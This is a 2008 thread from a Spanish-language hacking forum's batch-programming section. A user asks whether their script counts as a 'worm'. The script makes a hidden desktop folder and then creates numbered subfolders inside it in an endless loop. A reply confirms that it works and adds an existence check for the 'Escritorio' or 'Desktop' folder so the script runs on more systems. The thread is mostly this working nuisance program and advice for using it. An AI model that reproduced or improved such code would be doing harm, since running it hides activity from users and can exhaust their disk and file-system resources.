hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
19 de Noviembre de 2008, 02:20:58
Noticias: ¿No te llega el email de confirmacion?
Para ver este enlace Registrate o Inicia Sesion
> leer aqui

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Batch
| | | |-+  Código Abierto Batch (Moderadores: HolyKnight, PyXOLo)
| | | | |-+  Gusano en Batch [Duda]
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Gusano en Batch [Duda]  (Leído 158 veces)
Freyja
NZ1
*
Desconectado Desconectado

Mensajes: 28


leer para aprender y asi ser la mejor


Ver Perfil
« : 16 de Julio de 2008, 11:57:27 »

Hace tiempo que no entraba al foro, pero ví una idea que me llamó la atención.
Es la idea de masterskull123 sobre como crear infitas carpetas.
 Bueno mi pregunta es:
¿Este sería el código correcto de un gusano?


Código:
@echo off
Pushd "%userprofile%\escritorio"
md gusano
attrib +H gusano
goto bucle
:bucle
Pushd "%userprofile%\escritorio\gusano"
set /a dir=dir+1
md %dir%
goto bucle

Bueno, solo es una duda. Muchas gracias de antemano.
Atte. Freyja.
Saludos
En línea


RockoX
NZ3
***
Desconectado Desconectado

Mensajes: 584


Ay que aprender a reirnos de nosotros mismos.


Ver Perfil
« Respuesta #1 : 17 de Julio de 2008, 08:58:40 »

Hola, mira tu code si funciona, lo acabo de probar, pero cambie algunas por que mi sistema esta en ingles (Escritorio).

Asi que dale una checada a esto esto :
Código:
Pushd "%userprofile%\escritorio"
Ya que no todos los SO´S estan en español.
Pero eso se puede arreglar con unos If Exist :
Un ejemplo :
Código:
@echo off
if exist "%homepath%\Escritorio" (
echo Si existe el directorio "%homepath%\Escritorio"
pause>nul
goto:EOF
) else (
if exist "%homepath%\Desktop" (
echo Si existe el directorio "%homepath%\Desktop"
pause>nul
goto:eof
)
)

Ahora, en la linea 5, pones un goto bucle, eso realmente no hace falta ya que pasara a la siguiente linea en el code. Es solo ahorro de lineas Smiley

Bueno, Saludos!!!
En línea

Open Source -
Join us now and share the software
Freyja
NZ1
*
Desconectado Desconectado

Mensajes: 28


leer para aprender y asi ser la mejor


Ver Perfil
« Respuesta #2 : 17 de Julio de 2008, 09:58:02 »

Gracias por el consejo.
No entendía el If, pero con ese ejemplo ya caí.
Muchas gracias.
En línea


RockoX
NZ3
***
Desconectado Desconectado

Mensajes: 584


Ay que aprender a reirnos de nosotros mismos.


Ver Perfil
« Respuesta #3 : 17 de Julio de 2008, 10:41:07 »

De nada Freyja  Wink
En línea

Open Source -
Join us now and share the software
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online